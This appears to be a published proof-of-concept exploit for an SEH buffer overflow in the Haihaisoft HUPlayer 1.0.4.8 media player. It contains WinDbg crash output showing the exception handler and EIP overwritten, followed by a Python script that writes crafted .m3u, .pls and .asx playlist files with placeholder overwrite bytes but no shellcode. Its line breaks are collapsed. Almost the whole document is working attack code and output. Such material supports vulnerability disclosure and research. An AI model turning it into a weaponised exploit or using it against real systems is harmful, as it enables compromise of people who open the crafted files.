Haihaisoft HUPlayer 1.0.4.8 – ‘.m3u’ / ‘.pls’ / ‘.asx’ Buffer Overflow (SEH)
#-----------------------------------------------------------------------------# # Exploit Title: Haihaisoft HUPlayer 1.0.4.8 - Buffer Overflow (SEH) # # Date: Mar 25 2014 # # Exploit Author: Gabor Seljan # # Software Link: http://www.haihaisoft.com/huplayer.aspx # # Version: 1.0.4.8 # # Tested on: Windows XP SP3 # #-----------------------------------------------------------------------------# # (59c.5c4): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000003 ebx=0141897a ecx=44444444 edx=01e28c98 esi=01e28c99 edi=01e28367 # eip=0044754f esp=01e27b3c ebp=0000079d iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 # *** ERROR: Module load completed but symbols could not be loaded for mpc-hc.exe # mpc_hc+0x4754f: # 0044754f 3b69f4 cmp ebp,dword ptr [ecx-0Ch] ds:0023:44444438=???????? # 0:005> g # (59c.5c4): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000 # eip=43434343 esp=01e2776c ebp=01e2778c iopl=0 nv up ei pl zr na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 # 43434343 ?? ??? # 0:005> !exchain # 01e27780: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc) # 01e28b68: 43434343 # Invalid exception stack at 42424242 #!/usr/bin/python junk1 = "\x80" * 50; offset = "\x41" * 1595; nSEH = "\x42" * 4; SEH = "\x43" * 4; junk2 = "\x44" * 5000; evil = "http://{junk1}{offset}{nSEH}{SEH}{junk2}".format(**locals()) for e in ['m3u', 'pls', 'asx']: if e is 'm3u': poc = evil elif e is 'pls': poc = "[playlist]\nFile1={}".format(evil) else: poc = "<asx version=\"3.0\"><entry><ref href=\"{}\"/></entry></asx>".format(evil) try: print("[*] Creating poc.%s file..." % e) f = open('poc.%s' % e, 'w') f.write(poc) f.close() print("[*] %s file successfully created!" % f.name) except: print("[!] Error while creating exploit file!") |